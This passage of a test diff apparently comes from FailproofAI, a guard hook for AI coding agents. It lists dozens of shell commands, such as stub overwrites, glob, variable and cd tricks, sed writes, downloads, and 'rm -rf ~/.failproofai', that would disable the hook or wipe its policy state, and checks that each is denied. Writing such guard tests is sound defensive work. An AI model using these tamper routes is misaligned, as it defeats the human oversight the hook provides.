"package.json"), "{}\n"); + symlinkSync(join(root, "proj", "node_modules", ".bin"), join(root, "proj", "bins")); + symlinkSync(join(root, "proj", "node_modules", ".bin", "failproofai"), join(root, "proj", "hook")); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + it.each([ + "cp /tmp/stub.sh b*/failproofai", + "cp /tmp/stub.sh bi?s/failproofai", + "cp /tmp/stub.sh [b]ins/failproofai", + "printf x > b*/failproofai", + "tee {bins,x}/failproofai < /tmp/stub.sh", + // A pattern or brace in the last component that matches a link to the + // entry (found by hermes on FailproofAI/failproofai#1058). + "cp /tmp/stub.sh hoo*", + "printf x > ho?k", + "cp /tmp/stub.sh {hook,nothing}", + "tee {hook,x} < /tmp/stub.sh", + // Past the brace words that are expanded on disk, the rest are refused, + // not dropped: `hook` is the 65th word here (found by hermes on + // FailproofAI/failproofai#1058). + "tee {x{a,b,c,d}{1,2,3,4}{i,j,k,l},hook} { + expect(await bashIn(join(root, "proj"), command)).toBe("deny"); + }); + + it.each([ + "cat */package.json", + "rm -rf */dist", + "ls b*/", + "cp /tmp/stub.sh s*/notes.txt", + "tee {out,src}/notes.txt < /tmp/stub.sh", + // Sweeps of npm's bin directory and `node_modules` stay sweeps with the + // entry on disk, and reading through a link is a read. + "rm -rf node_modules/.bin/*", + "rm -rf node_modules/*", + "ls *", + "cat hook", + "tee {x{a,b,c,d}{1,2,3,4}{i,j,k,l},notes} { + expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); + }); + }); + + // The entry, and nothing else that lives beside it or shares its name. + it.each([ + ["another package's entry", "/work/proj/node_modules/.bin/tsc"], + ["an entry that only shares a prefix", "/work/proj/node_modules/.bin/failproofai-extras"], + ["a name npx never runs for `failproofai`", "/work/proj/node_modules/.bin/failproofai.sh"], + ["a project file named after the product", "/work/proj/scripts/failproofai.sh"], + ["a directory of that name under .bin", "/work/proj/.bin/failproofai/README.md"], + ["a file under a directory whose name ends in .bin", "/data/firmware.bin/failproofai"], + // Anything in front of `.bin` in the same component makes it another name. + ["a fixture under a directory named fixture+.bin", "/work/proj/fixture+.bin/failproofai"], + ])("allows writing %s", async (_label, path) => { + expect((await write(path)).decision).toBe("allow"); + }); + }); + + describe("shell commands", () => { + it.each([ + ["a redirect", "printf '#!/bin/sh\\nexit 0\\n' > node_modules/.bin/failproofai"], + ["an append", "echo 'exit 0' >> ./node_modules/.bin/failproofai"], + ["a copy", "cp /tmp/stub.sh node_modules/.bin/failproofai"], + ["a move", "mv /tmp/stub.sh node_modules/.bin/failproofai"], + ["a link", "ln -sf /tmp/stub.sh node_modules/.bin/failproofai"], + ["tee", "tee node_modules/.bin/failproofai < /tmp/stub.sh"], + ["install", "install -m 755 /tmp/stub.sh node_modules/.bin/failproofai"], + ["making a stub executable", "chmod +x node_modules/.bin/failproofai"], + ["an in-place sed", "sed -i 's/exec/exit 0 #/' node_modules/.bin/failproofai"], + ["an interpreter writing it", `python3 -c "open('node_modules/.bin/failproofai','w').write('exit 0')"`], + ["a parent directory's entry", "cp /tmp/stub.sh ../node_modules/.bin/failproofai"], + ["the home directory's entry", "cp /tmp/stub.sh ~/node_modules/.bin/failproofai"], + ["the entry named from inside node_modules", "cd node_modules && cp /tmp/stub.sh .bin/failproofai"], + ["the Windows shim", "cp /tmp/stub.cmd node_modules/.bin/failproofai.cmd"], + ["a variable holding the entry", "B=node_modules/.bin/failproofai; cp /tmp/stub.sh $B"], + ["a glob onto the entry", "cp /tmp/stub.sh node_modules/.bin/fail*"], + ["a quoted spelling", `cp /tmp/stub.sh node_modules/.bin/fail"proof"ai`], + // The path is on the line only in pieces: a file named `failproofai` + // copied, moved or linked INTO the directory npx searches. + ["a copy into the .bin directory", "cp /tmp/stage/failproofai node_modules/.bin/"], + ["a copy into the .bin directory, no trailing slash", "cp /tmp/stage/failproofai node_modules/.bin"], + ["a move into the .bin directory", "mv ./failproofai node_modules/.bin/"], + ["a link into the .bin directory", "ln -s /tmp/stage/failproofai node_modules/.bin"], + ["a copy with -t", "cp -t node_modules/.bin /tmp/stage/failproofai"], + ["a copy with --target-directory=", "cp --target-directory=node_modules/.bin /tmp/stage/failproofai"], + ["install -D into the directory", "install -D -m 755 /tmp/stage/failproofai node_modules/.bin/"], + ["rsync into the directory", "rsync -a /tmp/stage/failproofai node_modules/.bin/"], + ["a copy among other files", "cp /tmp/a.sh /tmp/stage/failproofai /tmp/b.sh node_modules/.bin/"], + ["a copy after --", "cp -- /tmp/stage/failproofai node_modules/.bin/"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // The same rule reaches the paths #1050 protects: moving a package + // directory named `failproofai` into a global `node_modules` replaces it. + it("denies moving a directory named failproofai into a node_modules", async () => { + expect(await bash("mv /tmp/build/failproofai /home/u/.nvm/versions/node/v22.11.0/lib/node_modules/")).toBe("deny"); + }); + + // Every GNU spelling of the target directory, which puts the sources AFTER + // it. rsync has no such option: its `-t` is `--times`, and its last operand + // is still the destination. + it.each([ + ["-t glued to its value", "cp -tnode_modules/.bin /tmp/stage/failproofai"], + ["-t at the end of a cluster", "cp -vt node_modules/.bin /tmp/stage/failproofai"], + ["-t inside install's cluster", "install -Dt node_modules/.bin /tmp/stage/failproofai"], + ["-t on ln", "ln -st node_modules/.bin /tmp/stage/failproofai"], + ["an abbreviated --target=", "cp --target=node_modules/.bin /tmp/stage/failproofai"], + ["an abbreviated --target with its value apart", "cp --target node_modules/.bin /tmp/stage/failproofai"], + ["rsync's -t, which is --times", "rsync -t /tmp/stage/failproofai node_modules/.bin/"], + ])("denies a copy into the .bin directory with %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // A redirect or a comment after the destination was read as the + // destination, so every copy check judged `2>/dev/null` or `x`. That let + // the state through too, before this file existed. + it.each([ + ["a stderr redirect", "cp /tmp/stub.sh node_modules/.bin/failproofai 2>/dev/null"], + ["a stdout redirect", "install -m 755 /tmp/stub.sh node_modules/.bin/failproofai > /dev/null"], + ["2>&1", "rsync /tmp/stub.sh node_modules/.bin/failproofai 2>&1"], + ["an input redirect", "cp /tmp/stub.sh node_modules/.bin/failproofai < /dev/null"], + ["a comment", "cp /tmp/stub.sh node_modules/.bin/failproofai # keep"], + ["a redirect after a copy into the directory", "cp /tmp/stage/failproofai node_modules/.bin/ 2>/dev/null"], + ["a redirect after a link into the directory", "ln -sf /tmp/stage/failproofai node_modules/.bin 2>/dev/null"], + ["the state, emptied the same way", "cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null"], + ])("denies a write followed by %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // A source that names a protected path is a copy OUT, except when it lands + // on installed code: a link spelled `…/bin/failproofai` is still a stub. + it("denies a protected-looking source when it lands on the entry", async () => { + expect(await bash("cp /tmp/bin/failproofai node_modules/.bin/")).toBe("deny"); + expect(await bash("rsync /tmp/bin/failproofai node_modules/.bin/")).toBe("deny"); + }); + + // A protected FILE sits in a directory nothing protects, so the walk has + // to read a relative word from where a `cd` left the shell. + it.each([ + ["a redirect after cd", "cd node_modules/.bin && printf 'exit 0' > failproofai"], + ["a copy after cd", "cd node_modules/.bin && cp /tmp/stub.sh failproofai"], + ["a copy after pushd", "pushd node_modules/.bin && cp /tmp/stub.sh failproofai"], + ["chmod after cd", "cd node_modules/.bin && chmod +x failproofai"], + ["two relative cds", "cd node_modules && cd .bin && cp /tmp/stub.sh failproofai"], + ["a cd outside a subshell that ran its own", "cd node_modules/.bin && (cd /tmp && ls) && cp /tmp/stub.sh failproofai"], + ["a copy of a file named failproofai into the directory", "cd node_modules/.bin && cp /tmp/stage/failproofai ."], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // A glob replaces the entry wherever it already exists, whatever path + // leads to it, so the candidates are tried against every stretch of it. + it.each([ + ["a parent directory", "cp /tmp/stub.sh ../node_modules/.bin/fail*"], + ["home", "cp /tmp/stub.sh ~/node_modules/.bin/fail*"], + ["an absolute path", "cp /tmp/stub.sh /work/proj/node_modules/.bin/fail*"], + // A default macOS volume resolves the literal parent whatever its case. + ["an upper-case parent", "rm -rf NODE_MODULES/.BIN/f*"], + // `/home/u/.failproofai` is a candidate itself; another home is not. + ["the state, by an absolute path", "rm -rf /home/alice/.failproof*"], + ["the state, behind `//` and `/./`", "rm -rf ~//./.failproof*"], + // A home no candidate spells. A dotfile glob that can match + // `.failproofai` counts wherever it stands, as the name itself does: + // `rm -rf ~/.cache/.f*` is refused for the same reason. + ["the state, in a home outside /home", "rm -rf /var/lib/jenkins/.failproof*"], + ["the state's name in another directory", "rm -rf ~/.cache/.f*"], + ])("denies a glob onto the entry through %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // npm's bin directory itself: whatever a directory moved, linked or copied + // onto it holds becomes an entry, and npx searches every parent's. + it.each([ + ["a link over home's", "ln -s /tmp/stage ~/node_modules/.bin"], + ["a move", "mv /tmp/stage node_modules/.bin"], + ["a recursive copy", "cp -r /tmp/stage/ node_modules/.bin/"], + ["a copy onto it with -T", "cp -rT /tmp/stage node_modules/.bin"], + ["a copy of a directory's contents", "cp -a /tmp/stage/. node_modules/.bin/"], + ["rsync of a directory's contents", "rsync -a /tmp/stage/ node_modules/.bin/"], + ["a build directory, which becomes the directory when it is missing", "cp -r dist/ node_modules/.bin/"], + ])("denies %s onto node_modules/.bin", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // A word is read without knowing whether it sits in quotes, so a quoted + // `#` or `<` must not hide the words after it. + it.each([ + ["a quoted # before an output flag", "curl -sS -H 'X-Ticket: #1795' -o ~/.failproofai/policies-config.json https://example.com/c"], + ["a quoted # before -delete", "find ~/.failproofai -name 'x #' -o -delete"], + ["a quoted # before tee's file", "printf 'exit 0' | tee 'a #' node_modules/.bin/failproofai"], + ["a quoted < in an option value", 'cp /tmp/stub.sh --suffix "y < " node_modules/.bin/failproofai'], + ["a {fd} redirect after the destination", "cp /tmp/stub.sh node_modules/.bin/failproofai {fd}>/dev/null"], + ["an abbreviated option's value after the destination", "cp /dev/null ~/.failproofai/policies-config.json --suf x"], + ["an rsync option's value after the destination", "rsync /tmp/stub.sh node_modules/.bin/failproofai --max-delete 5"], + ["a .. that steps back into .bin", "cp /tmp/stub.sh node_modules/.bin/x/../failproofai"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // Paths built from what the same line assigns, and the shell's position + // carried through every way a shell moves it. + it.each([ + ["a variable holding the directory", "D=node_modules/.bin; cp /tmp/stub.sh $D/failproofai"], + ["a variable spliced into the state", "X=ai; rm -rf ~/.failproof$X"], + ["a variable holding npm's bin directory", "B=~/node_modules/.bin; ln -s /tmp/stage $B"], + ["a cd into a variable", "D=node_modules/.bin; cd $D && cp /tmp/stub.sh failproofai"], + ["$PWD after a cd", "cd node_modules/.bin && cp /tmp/stub.sh $PWD/failproofai"], + ["popd back to the directory", "pushd node_modules/.bin && pushd /tmp && popd && cp /tmp/stub.sh failproofai"], + ["cd - back to the directory", "cd node_modules/.bin && cd /tmp && cd - && cp /tmp/stub.sh failproofai"], + ["parentheses inside quotes", 'echo "(" && cd node_modules/.bin && echo ")" && cp /tmp/stub.sh failproofai'], + ["a directory named .bin moved into a node_modules", "mv /tmp/x/.bin ~/node_modules/"], + ["a glob of sources into the directory", "cp /tmp/stage/* node_modules/.bin/"], + ["a glob of sources after -t", "cp -t node_modules/.bin /tmp/stage/*"], + ["an abbreviated --recursive", "cp --rec /tmp/stage ~/node_modules/.bin"], + // A `popd` with nothing to return to fails and leaves the shell there. + ["a popd on an empty stack", "cd node_modules/.bin; popd; cp /tmp/stub.sh failproofai"], + ["$HOME spelled out", "cd $HOME/node_modules/.bin && cp /tmp/stub.sh failproofai"], + // A `cd` the walk cannot follow may land in npm's bin directory. + ["a cd into a command substitution", 'cd "$(npm root)/.bin" && cp /tmp/stub.sh failproofai'], + ["a redirect after a cd into a substitution", "cd $(npm root)/.bin && printf 'exit 0' > failproofai"], + ["a cd into backticks", "cd `npm root`/.bin && cp /tmp/stub.sh failproofai"], + ["a cd into a variable the line does not set", "cd $NODE_BIN && cp /tmp/stub.sh failproofai"], + ["a copy into . after a cd the walk cannot follow", 'cd "$(npm root)/.bin" && cp /tmp/stage/failproofai .'], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // Shell moves the walk follows as bash makes them, so that none of them + // leaves the walk somewhere safer than the shell really is. + it.each([ + ["slashes after the directory", "cd ~/.failproofai//////////////////// && rm -rf *"], + ["slashes after npm's bin directory", "cd node_modules/.bin//////////////////// && printf 'exit 0' > failproofai"], + ["a redirect before the cd operand", "cd 2>/dev/null ~/.failproofai && rm -rf *"], + ["a popd with nothing to pop", "cd ~/.failproofai; popd; rm -rf *"], + ['cd ""', 'cd ~/.failproofai; cd ""; rm -rf *'], + ["cd - to an OLDPWD the line sets", "OLDPWD=~/.failproofai; cd -; rm -rf *"], + ["~- after a cd away", "cd ~/.failproofai && cd /tmp && rm -rf ~-/*"], + ["a bare cd to a HOME the line sets", "HOME=~/.failproofai; cd; rm -rf *"], + ["pushd +1 back onto the directory", "cd ~/.failproofai && pushd /tmp && pushd +1 && rm -rf *"], + ["a subshell's cd undone", "cd ~/.failproofai && (cd /tmp) && rm -rf *"], + ["an escaped parenthesis in a subshell", "cd ~/.failproofai && (echo \\) && cd /tmp) && rm -rf *"], + ["a cd into a substitution that names the state", 'cd "$(echo ~/.failproofai)" && rm -rf *'], + // An assignment the shell never makes (`:` is a no-op) cannot replace + // the value the walk judges: the word is judged as written too. + ["a decoy assignment before a copy", "D=~/.failproofai/policies-config.json; : D=x; cp /dev/null $D"], + ["a decoy assignment before a redirect", "D=~/.failproofai/policies-config.json; : D=x; echo {} > $D"], + // A complete option name is not an abbreviation of a longer one. + ["rsync --partial", "rsync --partial /tmp/stage/failproofai node_modules/.bin/"], + ["rsync --checksum", "rsync --checksum /tmp/stage/failproofai node_modules/.bin/"], + ["rsync -a --compress of a directory's contents", "rsync -a --compress /tmp/stage/ node_modules/.bin/"], + ["install --strip", "install --strip /tmp/stage/failproofai node_modules/.bin/"], + // A program handed to a shell is judged as the command it is. + ["bash -c around a copy", "bash -c 'cp /tmp/stub.sh node_modules/.bin/failproofai'"], + // A `cd` that fails leaves the shell where it was, and `;` runs the next + // command anyway. + ["a cd out of the state that may fail", "cd ~/.failproofai; cat config.json; cd /elsewhere; rm -rf *"], + // A `..` that climbs above the sixteen directories the walk reads from. + ["a climb above a deep cd", "cd node_modules/.bin && cd a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q && printf x > ../../../../../../../../../../../../../../../../../failproofai"], + // Symlinks the same line makes, before any `lstat` could see them. + ["a write through a link the line makes to the directory", "ln -s /work/proj/node_modules/.bin /tmp/bins && printf x > /tmp/bins/failproofai"], + ["a write through a link the line makes to the entry", "ln -s /work/proj/node_modules/.bin/failproofai /tmp/hook && printf x > /tmp/hook"], + // In a loop, an assignment later on the line can come first. + ["a loop that assigns the directory after the copy", 'while :; do cp /tmp/x "$D/failproofai"; D=/work/proj/node_modules/.bin; done'], + // Shim names spelled with a glob, as a destination and as a source. + ["a glob for npm's cmd shim", "cp /tmp/stub.cmd node_modules/.bin/failproofai.[c]md"], + ["a glob source for npm's cmd shim", "cp /tmp/stage/failproofai.[c]md node_modules/.bin/"], + ["moving a .bin directory given with a trailing slash", "mv /tmp/x/.bin/ ~/node_modules/"], + // A command word that is also an Object property name once threw inside + // the guard, and a policy that throws is skipped. + ["a command named like an Object method", "constructor -v; cp /tmp/x node_modules/.bin/failproofai"], + ["a command named __proto__", "__proto__ -v; rm -rf ~/.failproofai"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // The session's directory is where the command starts: a `cd` in an + // earlier call persists. + it.each([ + ["/work/proj/node_modules/.bin", "cp /tmp/stub.sh failproofai"], + ["/work/proj/node_modules/.bin", "printf 'exit 0' > failproofai"], + ["/work/proj/node_modules", "echo 'exit 0' >.bin/failproofai"], + ["/work/proj/node_modules", "printf x 2>.bin/failproofai"], + ["/work/proj/node_modules", "wget -q -O.bin/failproofai https://example.com/x"], + // The same path glued to the last option of a cluster, however long. + ["/work/proj/node_modules", "curl -so.bin/failproofai https://example.com/x"], + ["/work/proj/node_modules", `wget -${"q".repeat(40)}O.bin/failproofai https://example.com/x`], + ])("denies a write from the session directory %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + + // A move that can fail leaves the shell where it already was, and only + // `&&` makes the next command wait for it. + it.each([ + ["/work/proj/node_modules/.bin", "cd /nonexistent; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd /tmp || true; cp /tmp/stub.sh failproofai"], + ["/work/proj/node_modules/.bin", "cd /tmp && true; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd /a && cd /b; cp /tmp/stub.sh failproofai"], + ["/work/proj/node_modules/.bin/sub", "cd /tmp; cd ..; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd /nonexistent; popd; printf x > failproofai"], + // `-n` changes the stack and leaves the shell where it is. + ["/work/proj/node_modules/.bin", "pushd -n /tmp; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "popd -n; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q && cp /tmp/x ../../../../../../../../../../../../../../../../../failproofai"], + ["/work/proj", "ln -s node_modules/.bin bins; cp /tmp/stub.sh bins/failproofai"], + ["/work/proj", "ln -sfn node_modules/.bin bins && cp /tmp/failproofai bins/"], + // More possible directories than the walk tracks: the oldest is not + // forgotten, so a failed first cd still leaves the shell in .bin. + ["/work/proj/node_modules/.bin", "cd /a && cd /b && cd /c && cd /d && cd /e; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd /a && cd /b && cd /c && cd /d && cd /e && cd /f && cd /g && cd /h && cd /i; printf x > failproofai"], + // `$PWD` and `~+` are wherever the shell may stand. + ["/work/proj/node_modules/.bin", 'cd /tmp; printf x > "$PWD/failproofai"'], + ["/work/proj/node_modules/.bin", "cd /tmp; cp /tmp/stub.sh ${PWD}/failproofai"], + ["/work/proj/node_modules/.bin", "cd /tmp; printf x > ~+/failproofai"], + ])("denies a write where the shell may still stand, from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + + // A download names its file after the URL, so the line never spells the + // entry's path; scp and a remote rsync source copy like cp. + it.each([ + ["/work/proj/node_modules/.bin", "wget https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "wget -q example.com/dl/failproofai"], + ["/work/proj/node_modules/.bin", "curl -sSLO https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "curl -O https://example.com/failproofai%2Ecmd"], + // The server picks the name, or a file lists the URLs. + ["/work/proj/node_modules/.bin", "curl -OJ https://example.com/download"], + ["/work/proj/node_modules/.bin", "wget --content-disposition https://example.com/download"], + ["/work/proj/node_modules/.bin", "wget -i urls.txt"], + ["/work/proj/node_modules/.bin", "wget -r -nd https://example.com/dl/"], + ["/work/proj", "wget -P node_modules/.bin https://example.com/failproofai"], + ["/work/proj", "wget -qPnode_modules/.bin https://example.com/failproofai"], + ["/work/proj", "wget --directory-prefix=node_modules/.bin https://example.com/failproofai"], + ["/work/proj", "curl --output-dir node_modules/.bin -O https://example.com/failproofai"], + ["/work/proj", "cd node_modules/.bin && wget https://example.com/failproofai"], + ["/work/proj", "scp host:failproofai node_modules/.bin/"], + ["/work/proj", "scp -T user@host:/tmp/failproofai node_modules/.bin/"], + ["/work/proj", "rsync host:failproofai node_modules/.bin/"], + // An output file glued to its option, alone or after a cluster. + ["/work/proj", "curl -sonode_modules/.bin/failproofai https://example.com/x"], + ["/work/proj", "curl -so~/.failproofai/policies-config.json https://example.com/x"], + // A file `-o` names lands in `--output-dir` (found by hermes on + // FailproofAI/failproofai#1058). + ["/work/proj", "curl --output-dir node_modules/.bin -o failproofai https://example.com/x"], + ["/work/proj", "curl --output-dir=node_modules/.bin -sofailproofai https://example.com/x"], + ["/work/proj", "curl --output-dir node_modules/.bin --output failproofai https://example.com/x"], + // An absolute name is joined to it too, and each `--next` transfer keeps + // its own directory (found by hermes on FailproofAI/failproofai#1058). + ["/work/proj", "curl --output-dir node_modules/.bin -o /failproofai https://example.com/x"], + ["/work/proj", "curl --output-dir node_modules/.bin -O https://example.com/dl/failproofai --next --output-dir /tmp -O https://example.com/y"], + ["/work/proj", "curl -o /tmp/a https://example.com/a -: --output-dir node_modules/.bin -o failproofai https://example.com/b"], + ])("denies a download or remote copy from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + + it.each([ + ["/work/proj", "wget https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "wget https://example.com/my-tool"], + ["/work/proj", "curl -O https://registry.npmjs.org/failproofai/-/failproofai-1.0.0.tgz"], + ["/work/proj/node_modules/.bin", "curl -o /tmp/x https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "curl https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "wget -r https://example.com/docs/"], + ["/work/proj", "curl -OJ https://example.com/download"], + ["/work/proj", "scp ./failproofai host:node_modules/.bin/"], + ["/work/proj", "scp -r host:project ./backup"], + ["/work/proj", "wget -qO- https://example.com/api | jq ."], + ])("allows a download or remote copy from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + + // A value glued to its option is a path, read from where the shell stands + // like any other (found by hermes on FailproofAI/failproofai#1058). Where a + // command's value-taking letters are known the cluster is read as getopt + // reads it; elsewhere every split of it is tried. + it.each([ + ["/work/proj/node_modules/.bin", "curl -sofailproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "curl --output=failproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "wget -Ofailproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "wget -qOfailproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "wget --output-document=failproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "sort -ofailproofai notes.txt"], + ["/work/proj/node_modules/.bin", "gcc -ofailproofai main.c"], + ["/work/proj/node_modules/.bin", "tar -cffailproofai src"], + ["/work/proj/node_modules/.bin", "curl -" + "s".repeat(40) + "ofailproofai https://example.com/x"], + // A cluster longer than anyone writes is not tried at every split. + ["/work/proj/node_modules/.bin", "foo -" + "a".repeat(40) + "ofailproofai"], + ["/work/proj", "cd node_modules/.bin && curl -sofailproofai https://example.com/x"], + ["/work/proj", "D=failproofai; cd node_modules/.bin && curl -so$D https://example.com/x"], + ])("denies an output file glued to its option from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + + // A file a sed script writes with `w`, `W` or the `w` flag of `s///`, + // glued on or after spaces (found by hermes on FailproofAI/failproofai#1058). + it.each([ + ["/work/proj", "sed -n 'w node_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -n 'wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed 's/a/b/wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -e 's/a/b/gw node_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -n 'Wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -n --expression='w node_modules/failproofai/dist/cli.mjs' /tmp/stub.sh"], + ["/work/proj/node_modules/.bin", "sed -n 'wfailproofai' /tmp/stub.sh"], + ["/work/proj", "cd node_modules/.bin && sed -n 'wfailproofai' /tmp/stub.sh"], + // After an address, and in a script whose `;` is quoted text (found by + // hermes on FailproofAI/failproofai#1058). + ["/work/proj", "sed -n '1wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -n '10,20wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -n '$wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -n '1!wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj/node_modules/.bin", "sed -e 's/w/x/;1wfailproofai' /tmp/stub.sh"], + ])("denies a sed script writing the entry from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + + it.each([ + "sed -n 's/a/b/p' notes.txt", + "sed 's/raw/cooked/' notes.txt", + "sed -n 'w out.txt' notes.txt", + "sed -n '/failproofai/p' notes.txt", + "sed 's/www/web/g' urls.txt", + "sed -n 'w /tmp/copy.txt' node_modules/.bin/failproofai", + "sed -n '1w out.txt' notes.txt", + "sed -n 'bigwig' notes.txt", + "sed 's/new/old/g; s/a/b/' notes.txt", + ])("allows a sed script that writes no protected file: %s", async (command) => { + expect(await bashIn("/work/proj", command)).not.toBe("deny"); + }); + + // A value set only in a subshell, only for one command, or only if a test + // passes does not replace the one before it, so a word is read with every + // value the line gives its variables (found by hermes on + // FailproofAI/failproofai#1058). + it.each([ + ["/work/proj/node_modules/.bin", "F=failproofai; (F=x); printf y > $F"], + ["/work/proj/node_modules/.bin", "F=failproofai; F=x true; printf y > $F"], + ["/work/proj/node_modules/.bin", "F=failproofai; F=x env; cp /tmp/stub.sh $F"], + ["/work/proj/node_modules/.bin", Array.from({ length: 70 }, (_, i) => `F=v${i}`).join("; ") + "; F=failproofai; false && F=x; printf y > $F"], + ["/work/proj/node_modules/.bin", "F=failproofai; " + Array.from({ length: 70 }, (_, i) => `F=y${i} true`).join("; ") + "; printf y > $F"], + ["/work/proj", "D=node_modules/.bin; (D=/tmp); printf y > $D/failproofai"], + ["/work/proj", "D=node_modules/.bin; (D=/tmp); cp /tmp/stage/failproofai $D/"], + ["/work/proj/node_modules/.bin", "F=failproofai; F=x | true; printf y > $F"], + // Every combination of the values of the variables one word names + // (found by hermes on FailproofAI/failproofai#1058). + ["/work/proj", "A=fail; B=proofai; (A=x; B=y); printf x > node_modules/.bin/$A$B"], + ["/work/proj", "A=fail; B=proofai; A=x true; B=y true; printf x > node_modules/.bin/${A}${B}"], + ["/work/proj", "A=fa; B=il; C=proofai; (A=x; B=y; C=z); printf x > node_modules/.bin/$A$B$C"], + // More combinations than are tried is refused, not guessed at. + ["/work/proj", Array.from({ length: 13 }, (_, i) => `V${i}=a; V${i}=b`).join("; ") + "; printf x > " + Array.from({ length: 13 }, (_, i) => `$V${i}`).join("")], + ])("denies a write through a variable another value may hold, from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + + it.each([ + ["/work/proj/node_modules/.bin", "F=a; F=b; printf y > $F"], + ["/work/proj", "D=dist; (D=build); rm -rf $D"], + ["/work/proj", "F=a; F=b; echo " + Array(2000).fill("$F/$F").join(" ")], + ["/work/proj", "A=a; A=b; B=c; B=d; printf x > $A$B"], + ["/work/proj", Array.from({ length: 12 }, (_, i) => `V${i}=a; V${i}=b`).join("; ") + "; printf x > " + Array.from({ length: 12 }, (_, i) => `$V${i}`).join("")], + ])("allows a reassigned variable that never reaches the entry, from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + + it.each([ + ["/work/proj/node_modules/.bin", "curl -somy-tool https://example.com/x"], + ["/work/proj/node_modules/.bin", "grep -ffailproofai notes.txt"], + ["/work/proj", "gcc -O2 -Wall -o build/app main.c"], + ["/work/proj", "tar -czf backup.tgz src"], + ["/work/proj", "curl -sSfL -o /tmp/x https://example.com/x"], + ["/work/proj", "git log --format=%h -n 5"], + ])("allows option values from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + + // `echo` and `printf` print quoted text and run none of it, so documenting + // a command is not running it (found by hermes on + // FailproofAI/failproofai#1058). Text a shell does run is still read as + // one, and so is a real redirect. + it.each([ + "echo 'cat > node_modules/.bin/failproofai'", + "printf '%s\\n' '> node_modules/.bin/failproofai'", + 'echo "cat > node_modules/.bin/failproofai"', + "echo 'cat > ~/.failproofai/policies-config.json'", + "echo 'never run: cat > node_modules/.bin/failproofai' && npm test", + // Escaped and ANSI-C quoted, to another descriptor or nowhere, through + // readers that only show it, and beside a subshell that is not around it. + "echo cat \\> node_modules/.bin/failproofai", + "echo $'cat > node_modules/.bin/failproofai\\n'", + "echo 'cat > node_modules/.bin/failproofai' >&2", + "echo 'cat > node_modules/.bin/failproofai' > /dev/null", + "echo 'cat > node_modules/.bin/failproofai' | cat", + "printf '%s\\n' 'cat > node_modules/.bin/failproofai' | grep cat | wc -l", + "(cd src && ls); echo 'cat > node_modules/.bin/failproofai'", + // Into a documentation file, when nothing on the line runs a file (found + // by hermes on FailproofAI/failproofai#1058). + "echo 'cat > node_modules/.bin/failproofai' >> docs/notes.md", + "printf '%s\\n' '> node_modules/.bin/failproofai' > docs/recipe.md", + "echo 'cat > node_modules/.bin/failproofai' | tee -a docs/notes.md", + "echo 'printf x > node_modules/.bin/failproofai' | tee /tmp/s.sh", + "echo 'printf x > node_modules/.bin/failproofai' | cat > /tmp/s.sh", + "echo 'cat > node_modules/.bin/failproofai'; echo done", + "echo 'cat > node_modules/.bin/failproofai' > docs/notes.md && git add docs/notes.md", + ])("allows printing a command as text: %s", async (command) => { + expect(await bash(command)).toBe("allow"); + }); + + it.each([ + "bash -c 'printf x > node_modules/.bin/failproofai'", + "echo 'printf x > node_modules/.bin/failproofai' | sh", + "echo 'printf x > node_modules/.bin/failproofai' |& sh", + "echo 'printf x > node_modules/.bin/failproofai' > /tmp/s.sh && sh /tmp/s.sh", + "printf -v c 'printf x > node_modules/.bin/failproofai'; eval \"$c\"", + "(echo 'printf x > node_modules/.bin/failproofai') | sh", + "{ echo 'printf x > 